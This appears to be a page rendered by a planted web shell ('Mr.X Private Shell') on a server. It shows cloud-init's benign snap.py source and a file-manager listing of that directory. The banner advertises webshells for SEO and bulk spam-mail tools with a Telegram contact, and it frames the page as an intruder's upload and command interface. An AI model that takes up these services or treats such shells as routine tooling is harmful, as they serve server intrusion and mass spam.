__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# This file is part of cloud-init. See LICENSE file for license information.
import logging
from typing import Iterable, List

from cloudinit import subp, util
from cloudinit.distros.package_management.package_manager import (
    PackageManager,
    UninstalledPackages,
)

LOG = logging.getLogger(__name__)


class Snap(PackageManager):
    name = "snap"

    def available(self) -> bool:
        return bool(subp.which("snap"))

    def update_package_sources(self, *, force=False):
        pass

    def install_packages(self, pkglist: Iterable) -> UninstalledPackages:
        # Snap doesn't provide us with a mechanism to know which packages
        # are available or have failed, so install one at a time
        pkglist = util.expand_package_list("%s=%s", list(pkglist))
        failed: List[str] = []
        for pkg in pkglist:
            try:
                subp.subp(["snap", "install"] + pkg.split("=", 1))
            except subp.ProcessExecutionError:
                failed.append(pkg)
                LOG.info("Failed to 'snap install %s'!", pkg)
        return failed

    @staticmethod
    def upgrade_packages():
        command = ["snap", "get", "system", "-d"]
        snap_hold = None
        try:
            result = subp.subp(command)
            snap_hold = (
                util.load_json(result.stdout).get("refresh", {}).get("hold")
            )
        except subp.ProcessExecutionError as e:
            LOG.info(
                "Continuing to snap refresh. Unable to run command: %s: %s",
                command,
                e,
            )
        if snap_hold == "forever":
            LOG.info(
                "Skipping snap refresh because refresh.hold is set to '%s'",
                snap_hold,
            )
        else:
            subp.subp(["snap", "refresh"])

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 77 B 0644
apt.py File 7.99 KB 0644
package_manager.py File 1.06 KB 0644
snap.py File 1.78 KB 0644
utils.py File 324 B 0644
Filemanager